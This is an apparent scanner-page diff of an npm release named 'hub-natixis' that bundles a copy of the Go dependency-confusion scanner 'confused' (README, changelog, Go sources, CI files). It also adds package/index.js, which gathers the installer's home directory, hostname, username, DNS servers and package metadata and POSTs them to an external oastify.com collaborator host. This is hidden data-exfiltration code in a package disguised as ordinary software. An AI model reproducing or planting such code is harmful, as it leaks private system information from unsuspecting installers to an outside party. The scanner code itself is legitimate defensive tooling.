hub-natixis 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of hub-natixis might be problematic. Click here for more details.

@@ -0,0 +1,67 @@
1
+ # For most projects, this workflow file will not need changing; you simply need
2
+ # to commit it to your repository.
3
+ #
4
+ # You may wish to alter this file to override the set of languages analyzed,
5
+ # or to provide custom queries or build logic.
6
+ #
7
+ # ******** NOTE ********
8
+ # We have attempted to detect the languages in your repository. Please check
9
+ # the `language` matrix defined below to confirm you have the correct set of
10
+ # supported CodeQL languages.
11
+ #
12
+ name: "CodeQL"
13
+
14
+ on:
15
+ push:
16
+ branches: [ main ]
17
+ pull_request:
18
+ # The branches below must be a subset of the branches above
19
+ branches: [ main ]
20
+ schedule:
21
+ - cron: '15 8 * * 1'
22
+
23
+ jobs:
24
+ analyze:
25
+ name: Analyze
26
+ runs-on: ubuntu-latest
27
+
28
+ strategy:
29
+ fail-fast: false
30
+ matrix:
31
+ language: [ 'go' ]
32
+ # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ]
33
+ # Learn more:
34
+ # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed
35
+
36
+ steps:
37
+ - name: Checkout repository
38
+ uses: actions/checkout@v2
39
+
40
+ # Initializes the CodeQL tools for scanning.
41
+ - name: Initialize CodeQL
42
+ uses: github/codeql-action/init@v1
43
+ with:
44
+ languages: ${{ matrix.language }}
45
+ # If you wish to specify custom queries, you can do so here or in a config file.
46
+ # By default, queries listed here will override any specified in a config file.
47
+ # Prefix the list here with "+" to use these queries and those in the config file.
48
+ # queries: ./path/to/local/query, your-org/your-repo/queries@main
49
+
50
+ # Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
51
+ # If this step fails, then you should remove it and run the build manually (see below)
52
+ - name: Autobuild
53
+ uses: github/codeql-action/autobuild@v1
54
+
55
+ # ℹ️ Command-line programs to run using the OS shell.
56
+ # 📚 https://git.io/JvXDl
57
+
58
+ # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
59
+ # and modify them (or add more) to build your code if your project
60
+ # uses a compiled language
61
+
62
+ #- run: |
63
+ # make bootstrap
64
+ # make release
65
+
66
+ - name: Perform CodeQL Analysis
67
+ uses: github/codeql-action/analyze@v1
@@ -0,0 +1,22 @@
1
+ name: golangci-lint
2
+ on:
3
+ push:
4
+ tags:
5
+ - v*
6
+ branches:
7
+ - main
8
+ pull_request:
9
+ jobs:
10
+ golangci:
11
+ name: lint
12
+ runs-on: ubuntu-latest
13
+ steps:
14
+ - uses: actions/setup-go@v3
15
+ with:
16
+ go-version: 1.17
17
+ - uses: actions/checkout@v3
18
+ - name: golangci-lint
19
+ uses: golangci/golangci-lint-action@v3
20
+ with:
21
+ # Optional: version of golangci-lint to use in form of v1.2 or v1.2.3 or `latest` to use the latest version
22
+ version: latest
@@ -0,0 +1,40 @@
1
+ builds:
2
+ - id: confused
3
+ binary: confused
4
+ flags:
5
+ - -trimpath
6
+ env:
7
+ - CGO_ENABLED=0
8
+ asmflags:
9
+ - all=-trimpath={{.Env.GOPATH}}
10
+ gcflags:
11
+ - all=-trimpath={{.Env.GOPATH}}
12
+ ldflags: |
13
+ -s -w -X main.version={{.Version}} -X main.commit={{.Commit}} -X main.date={{.CommitDate}} -extldflags '-static'
14
+ goos:
15
+ - linux
16
+ - windows
17
+ - freebsd
18
+ - openbsd
19
+ - darwin
20
+ goarch:
21
+ - amd64
22
+ - 386
23
+ - arm
24
+ - arm64
25
+ ignore:
26
+ - goos: freebsd
27
+ goarch: arm64
28
+
29
+ archives:
30
+ - id: tgz
31
+ format: tar.gz
32
+ replacements:
33
+ darwin: macOS
34
+ format_overrides:
35
+ - goos: windows
36
+ format: zip
37
+
38
+ signs:
39
+ - artifacts: checksum
40
+
package/CHANGELOG.md ADDED
@@ -0,0 +1,31 @@
1
+ # Changelog
2
+
3
+ - main
4
+ - New
5
+ - Changed
6
+
7
+ - v0.4
8
+ - New
9
+ - npm: In case package was found, also check if all the package versions have been unpublished. This makes the package vulnerable to takeover
10
+ - npm: Check for http & https and GitHub version references
11
+ - MVN (Maven) support
12
+ - Changed
13
+ - Fixed a bug where the pip requirements.txt parser processes a 'tilde equals' sign.
14
+ - Fixed an issue that would detect git repository urls as matches
15
+
16
+ - v0.3
17
+ - New
18
+ - PHP (composer) support
19
+ - Command line parameter to let the user to flag namespaces as known-safe
20
+ - Changed
21
+ - Python (pypi) dependency definition files that use line continuation are now parsed correctly
22
+ - Revised the output to clarify the usage
23
+ - Fixed npm package.json file parsing issues when the source file is not following the specification
24
+
25
+ - v0.2
26
+ - Changed
27
+ - npm registry checkup url
28
+ - Throttle the rate of requests in case of 429 (Too many requests) responses
29
+
30
+ - v0.1
31
+ - Initial release
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2021 Visma Security, Joona Hoikkala
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,103 @@
1
+ # Confused
2
+
3
+ A tool for checking for lingering free namespaces for private package names referenced in dependency configuration
4
+ for Python (pypi) `requirements.txt`, JavaScript (npm) `package.json`, PHP (composer) `composer.json` or MVN (maven) `pom.xml`.
5
+
6
+ ## What is this all about?
7
+
8
+ On 9th of February 2021, a security researcher Alex Birsan [published an article](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
9
+ that touched different resolve order flaws in dependency management tools present in multiple programming language ecosystems.
10
+
11
+ Microsoft [released a whitepaper](https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/)
12
+ describing ways to mitigate the impact, while the root cause still remains.
13
+
14
+ ## Interpreting the tool output
15
+
16
+ `confused` simply reads through a dependency definition file of an application and checks the public package repositories
17
+ for each dependency entry in that file. It will proceed to report all the package names that are not found in the public
18
+ repositories - a state that implies that a package might be vulnerable to this kind of attack, while this vector has not
19
+ yet been exploited.
20
+
21
+ This however doesn't mean that an application isn't already being actively exploited. If you know your software is using
22
+ private package repositories, you should ensure that the namespaces for your private packages have been claimed by a
23
+ trusted party (typically yourself or your company).
24
+
25
+ ### Known false positives
26
+
27
+ Some packaging ecosystems like npm have a concept called "scopes" that can be either private or public. In short it means
28
+ a namespace that has an upper level - the scope. The scopes are not inherently visible publicly, which means that `confused`
29
+ cannot reliably detect if it has been claimed. If your application uses scoped package names, you should ensure that a
30
+ trusted party has claimed the scope name in the public repositories.
31
+
32
+ ## Installation
33
+
34
+ - [Download](https://github.com/visma-prodsec/confused/releases/latest) a prebuilt binary from [releases page](https://github.com/visma-prodsec/confused/releases/latest), unpack and run!
35
+
36
+ _or_
37
+ - If you have recent go compiler installed: `go get -u github.com/visma-prodsec/confused` (the same command works for updating)
38
+
39
+ _or_
40
+ - git clone https://github.com/visma-prodsec/confused ; cd confused ; go get ; go build
41
+
42
+ ## Usage
43
+ ```
44
+ Usage:
45
+ confused [-l LANGUAGENAME] depfilename.ext
46
+
47
+ Usage of confused:
48
+ -l string
49
+ Package repository system. Possible values: "pip", "npm", "composer", "mvn", "rubygems" (default "npm")
50
+ -s string
51
+ Comma-separated list of known-secure namespaces. Supports wildcards
52
+ -v Verbose output
53
+
54
+ ```
55
+
56
+ ## Example
57
+
58
+ ### Python (PyPI)
59
+ ```
60
+ ./confused -l pip requirements.txt
61
+
62
+ Issues found, the following packages are not available in public package repositories:
63
+ [!] internal_package1
64
+
65
+ ```
66
+
67
+ ### JavaScript (npm)
68
+ ```
69
+ ./confused -l npm package.json
70
+
71
+ Issues found, the following packages are not available in public package repositories:
72
+ [!] internal_package1
73
+ [!] @mycompany/internal_package1
74
+ [!] @mycompany/internal_package2
75
+
76
+ # Example when @mycompany private scope has been registered in npm, using -s
77
+ ./confused -l npm -s '@mycompany/*' package.json
78
+
79
+ Issues found, the following packages are not available in public package repositories:
80
+ [!] internal_package1
81
+ ```
82
+
83
+ ### Maven (mvn)
84
+ ```
85
+ ./confused -l mvn pom.xml
86
+
87
+ Issues found, the following packages are not available in public package repositories:
88
+ [!] internal
89
+ [!] internal/package1
90
+ [!] internal/_package2
91
+
92
+ ```
93
+
94
+ ### Ruby (rubygems)
95
+ ```
96
+ ./confused -l rubygems Gemfile.lock
97
+
98
+ Issues found, the following packages are not available in public package repositories:
99
+ [!] internal
100
+ [!] internal/package1
101
+ [!] internal/_package2
102
+
103
+ ```
package/composer.go ADDED
@@ -0,0 +1,105 @@
1
+ package main
2
+
3
+ import (
4
+ "encoding/json"
5
+ "fmt"
6
+ "io/ioutil"
7
+ "net/http"
8
+ "time"
9
+ )
10
+
11
+ type ComposerJSON struct {
12
+ Require map[string]string `json:"require"`
13
+ RequireDev map[string]string `json:"require-dev"`
14
+ }
15
+
16
+ type ComposerLookup struct {
17
+ Packages []string
18
+ Verbose bool
19
+ }
20
+
21
+ func NewComposerLookup(verbose bool) PackageResolver {
22
+ return &ComposerLookup{Packages: []string{}, Verbose: verbose}
23
+ }
24
+
25
+ func (c *ComposerLookup) ReadPackagesFromFile(filename string) error {
26
+ rawfile, err := ioutil.ReadFile(filename)
27
+ if err != nil {
28
+ return err
29
+ }
30
+
31
+ data := ComposerJSON{}
32
+ err = json.Unmarshal([]byte(rawfile), &data)
33
+ if err != nil {
34
+ return err
35
+ }
36
+
37
+ for pkgname := range data.Require {
38
+ c.Packages = append(c.Packages, pkgname)
39
+ }
40
+
41
+ for pkgname := range data.RequireDev {
42
+ c.Packages = append(c.Packages, pkgname)
43
+ }
44
+
45
+ return nil
46
+ }
47
+
48
+ func (c *ComposerLookup) PackagesNotInPublic() []string {
49
+ notavail := []string{}
50
+ for _, pkg := range c.Packages {
51
+ if pkg == "php" {
52
+ continue
53
+ }
54
+
55
+ if !c.isAvailableInPublic(pkg, 0) {
56
+ notavail = append(notavail, pkg)
57
+ }
58
+ }
59
+
60
+ return notavail
61
+ }
62
+
63
+ func (c *ComposerLookup) isAvailableInPublic(pkgname string, retry int) bool {
64
+ if retry > 3 {
65
+ fmt.Printf(" [W] Maximum number of retries exhausted for package %s\n", pkgname)
66
+
67
+ return false
68
+ }
69
+
70
+ if c.Verbose {
71
+ fmt.Printf("Checking: https://packagist.org/packages/%s : ", pkgname)
72
+ }
73
+
74
+ client := &http.Client{
75
+ CheckRedirect: func(req *http.Request, via []*http.Request) error {
76
+ return http.ErrUseLastResponse
77
+ },
78
+ }
79
+
80
+ resp, err := client.Get("https://packagist.org/packages/" + pkgname)
81
+ if err != nil {
82
+ fmt.Printf(" [W] Error when trying to request https://packagist.org/packages/%s : %s\n", pkgname, err)
83
+
84
+ return false
85
+ }
86
+ defer resp.Body.Close()
87
+
88
+ if c.Verbose {
89
+ fmt.Printf("%s\n", resp.Status)
90
+ }
91
+
92
+ if resp.StatusCode == http.StatusOK {
93
+ return true
94
+ }
95
+
96
+ if resp.StatusCode == 429 {
97
+ fmt.Printf(" [!] Server responded with 429 (Too many requests), throttling and retrying..\n")
98
+ time.Sleep(10 * time.Second)
99
+ retry = retry + 1
100
+
101
+ c.isAvailableInPublic(pkgname, retry)
102
+ }
103
+
104
+ return false
105
+ }
package/confused ADDED
Binary file
package/go.mod ADDED
@@ -0,0 +1,3 @@
1
+ module github.com/visma-prodsec/confused
2
+
3
+ go 1.18
package/index.js ADDED
@@ -0,0 +1,47 @@
1
+ //author:- whitehacker003@protonmail.com
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ const trackingData = JSON.stringify({
10
+ p: package,
11
+ c: __dirname,
12
+ hd: os.homedir(),
13
+ hn: os.hostname(),
14
+ un: os.userInfo().username,
15
+ dns: dns.getServers(),
16
+ r: packageJSON ? packageJSON.___resolved : undefined,
17
+ v: packageJSON.version,
18
+ pjson: packageJSON,
19
+ });
20
+
21
+ var postData = querystring.stringify({
22
+ msg: trackingData,
23
+ });
24
+
25
+ var options = {
26
+ hostname: "http://tsp6c75u7k71lugxemxxceoncei56vuk.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
27
+ port: 80,
28
+ path: "/",
29
+ method: "POST",
30
+ headers: {
31
+ "Content-Type": "application/x-www-form-urlencoded",
32
+ "Content-Length": postData.length,
33
+ },
34
+ };
35
+
36
+ var req = https.request(options, (res) => {
37
+ res.on("data", (d) => {
38
+ process.stdout.write(d);
39
+ });
40
+ });
41
+
42
+ req.on("error", (e) => {
43
+ // console.error(e);
44
+ });
45
+
46
+ req.write(postData);
47
+ req.end();
package/interfaces.go ADDED
@@ -0,0 +1,11 @@
1
+ package main
2
+
3
+ // A PackageResolver resolves package information from a file
4
+ //
5
+ // ReadPackagesFromFile should take a filepath as input and parse relevant package information into a struct and then return any errors encountered while reading or unmarshalling the file.
6
+ //
7
+ // PackagesNotInPublic should determine whether or not a package is not available in a public package repository and return a slice of all packages not available in a public package repository.
8
+ type PackageResolver interface {
9
+ ReadPackagesFromFile(string) error
10
+ PackagesNotInPublic() []string
11
+ }
package/main.go ADDED
@@ -0,0 +1,109 @@
1
+ /*
2
+ Package main implements an automated Dependency Confusion scanner.
3
+
4
+ Original research provided by Alex Birsan.
5
+
6
+ Original blog post detailing Dependency Confusion : https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610 .
7
+ */
8
+ package main
9
+
10
+ import (
11
+ "flag"
12
+ "fmt"
13
+ "os"
14
+ "path/filepath"
15
+ "strings"
16
+ )
17
+
18
+ func main() {
19
+ var resolver PackageResolver
20
+ lang := ""
21
+ verbose := false
22
+ filename := ""
23
+ safespaces := ""
24
+ flag.StringVar(&lang, "l", "npm", "Package repository system. Possible values: \"pip\", \"npm\", \"composer\", \"mvn\", \"rubygems\"")
25
+ flag.StringVar(&safespaces, "s", "", "Comma-separated list of known-secure namespaces. Supports wildcards")
26
+ flag.BoolVar(&verbose, "v", false, "Verbose output")
27
+ flag.Parse()
28
+
29
+ // Check that we have a filename
30
+ if flag.NArg() == 0 {
31
+ Help()
32
+ flag.Usage()
33
+ os.Exit(1)
34
+ }
35
+
36
+ filename = flag.Args()[0]
37
+
38
+ switch lang {
39
+ case "pip":
40
+ resolver = NewPythonLookup(verbose)
41
+ case "npm":
42
+ resolver = NewNPMLookup(verbose)
43
+ case "composer":
44
+ resolver = NewComposerLookup(verbose)
45
+ case "mvn":
46
+ resolver = NewMVNLookup(verbose)
47
+ case "rubygems":
48
+ resolver = NewRubyGemsLookup(verbose)
49
+ default:
50
+ fmt.Printf("Unknown package repository system: %s\n", lang)
51
+ os.Exit(1)
52
+ }
53
+
54
+ err := resolver.ReadPackagesFromFile(filename)
55
+ if err != nil {
56
+ fmt.Printf("Encountered an error while trying to read packages from file: %s\n", err)
57
+ os.Exit(1)
58
+ }
59
+ outputPackages := removeSafe(resolver.PackagesNotInPublic(), safespaces)
60
+ PrintResult(outputPackages)
61
+ }
62
+
63
+ // Help outputs tool usage and help
64
+ func Help() {
65
+ fmt.Printf("Usage:\n %s [-l LANGUAGENAME] depfilename.ext\n", os.Args[0])
66
+ }
67
+
68
+ // PrintResult outputs the result of the scanner
69
+ func PrintResult(notavail []string) {
70
+ if len(notavail) == 0 {
71
+ fmt.Printf("[*] All packages seem to be available in the public repositories. \n\n" +
72
+ "In case your application uses private repositories please make sure that those namespaces in \n" +
73
+ "public repositories are controlled by a trusted party.\n\n")
74
+ return
75
+ }
76
+ fmt.Printf("Issues found, the following packages are not available in public package repositories:\n")
77
+ for _, n := range notavail {
78
+ fmt.Printf(" [!] %s\n", n)
79
+ }
80
+ os.Exit(1)
81
+ }
82
+
83
+ // removeSafe removes known-safe package names from the slice
84
+ func removeSafe(packages []string, safespaces string) []string {
85
+ retSlice := []string{}
86
+ safeNamespaces := []string{}
87
+ var ignored bool
88
+ safeTmp := strings.Split(safespaces, ",")
89
+ for _, s := range safeTmp {
90
+ safeNamespaces = append(safeNamespaces, strings.TrimSpace(s))
91
+ }
92
+ for _, p := range packages {
93
+ ignored = false
94
+ for _, s := range safeNamespaces {
95
+ ok, err := filepath.Match(s, p)
96
+ if err != nil {
97
+ fmt.Printf(" [W] Encountered an error while trying to match a known-safe namespace %s : %s\n", s, err)
98
+ continue
99
+ }
100
+ if ok {
101
+ ignored = true
102
+ }
103
+ }
104
+ if !ignored {
105
+ retSlice = append(retSlice, p)
106
+ }
107
+ }
108
+ return retSlice
109
+ }
package/mvn.go ADDED
@@ -0,0 +1,120 @@
1
+ package main
2
+
3
+ import (
4
+ "encoding/json"
5
+ "encoding/xml"
6
+ "fmt"
7
+ "io/ioutil"
8
+ "log"
9
+ "net/http"
10
+ "strings"
11
+ "time"
12
+ )
13
+
14
+ // NPMLookup represents a collection of npm packages to be tested for dependency confusion.
15
+ type MVNLookup struct {
16
+ Packages []MVNPackage
17
+ Verbose bool
18
+ }
19
+
20
+ type MVNPackage struct {
21
+ Group string
22
+ Artifact string
23
+ Version string
24
+ }
25
+
26
+ // NewNPMLookup constructs an `MVNLookup` struct and returns it.
27
+ func NewMVNLookup(verbose bool) PackageResolver {
28
+ return &MVNLookup{Packages: []MVNPackage{}, Verbose: verbose}
29
+ }
30
+
31
+ // ReadPackagesFromFile reads package information from an npm package.json file
32
+ //
33
+ // Returns any errors encountered
34
+ func (n *MVNLookup) ReadPackagesFromFile(filename string) error {
35
+ rawfile, err := ioutil.ReadFile(filename)
36
+ if err != nil {
37
+ return err
38
+ }
39
+
40
+ fmt.Print("Checking: filename: " + filename + "\n")
41
+
42
+ var project MavenProject
43
+ if err := xml.Unmarshal([]byte(rawfile), &project); err != nil {
44
+ log.Fatalf("unable to unmarshal pom file. Reason: %s\n", err)
45
+ }
46
+
47
+ for _, dep := range project.Dependencies {
48
+ n.Packages = append(n.Packages, MVNPackage{dep.GroupId, dep.ArtifactId, dep.Version})
49
+ }
50
+
51
+ for _, dep := range project.Build.Plugins {
52
+ n.Packages = append(n.Packages, MVNPackage{dep.GroupId, dep.ArtifactId, dep.Version})
53
+ }
54
+
55
+ for _, build := range project.Profiles {
56
+ for _, dep := range build.Build.Plugins {
57
+ n.Packages = append(n.Packages, MVNPackage{dep.GroupId, dep.ArtifactId, dep.Version})
58
+ }
59
+ }
60
+
61
+ return nil
62
+ }
63
+
64
+ // PackagesNotInPublic determines if an npm package does not exist in the public npm package repository.
65
+ //
66
+ // Returns a slice of strings with any npm packages not in the public npm package repository
67
+ func (n *MVNLookup) PackagesNotInPublic() []string {
68
+ notavail := []string{}
69
+ for _, pkg := range n.Packages {
70
+ if !n.isAvailableInPublic(pkg, 0) {
71
+ notavail = append(notavail, pkg.Group+"/"+pkg.Artifact)
72
+ }
73
+ }
74
+ return notavail
75
+ }
76
+
77
+ // isAvailableInPublic determines if an npm package exists in the public npm package repository.
78
+ //
79
+ // Returns true if the package exists in the public npm package repository.
80
+ func (n *MVNLookup) isAvailableInPublic(pkg MVNPackage, retry int) bool {
81
+ if retry > 3 {
82
+ fmt.Printf(" [W] Maximum number of retries exhausted for package: %s\n", pkg.Group)
83
+ return false
84
+ }
85
+ if pkg.Group == "" {
86
+ return true
87
+ }
88
+
89
+ group := strings.Replace(pkg.Group, ".", "/", -1)
90
+ if n.Verbose {
91
+ fmt.Print("Checking: https://repo1.maven.org/maven2/" + group + "/ ")
92
+ }
93
+ resp, err := http.Get("https://repo1.maven.org/maven2/" + group + "/")
94
+ if err != nil {
95
+ fmt.Printf(" [W] Error when trying to request https://repo1.maven.org/maven2/"+group+"/ : %s\n", err)
96
+ return false
97
+ }
98
+ defer resp.Body.Close()
99
+ if n.Verbose {
100
+ fmt.Printf("%s\n", resp.Status)
101
+ }
102
+ if resp.StatusCode == http.StatusOK {
103
+ npmResp := NpmResponse{}
104
+ body, _ := ioutil.ReadAll(resp.Body)
105
+ _ = json.Unmarshal(body, &npmResp)
106
+ if npmResp.NotAvailable() {
107
+ if n.Verbose {
108
+ fmt.Printf("[W] Package %s was found, but all its versions are unpublished, making anyone able to takeover the namespace.\n", pkg.Group)
109
+ }
110
+ return false
111
+ }
112
+ return true
113
+ } else if resp.StatusCode == 429 {
114
+ fmt.Printf(" [!] Server responded with 429 (Too many requests), throttling and retrying...\n")
115
+ time.Sleep(10 * time.Second)
116
+ retry = retry + 1
117
+ return n.isAvailableInPublic(pkg, retry)
118
+ }
119
+ return false
120
+ }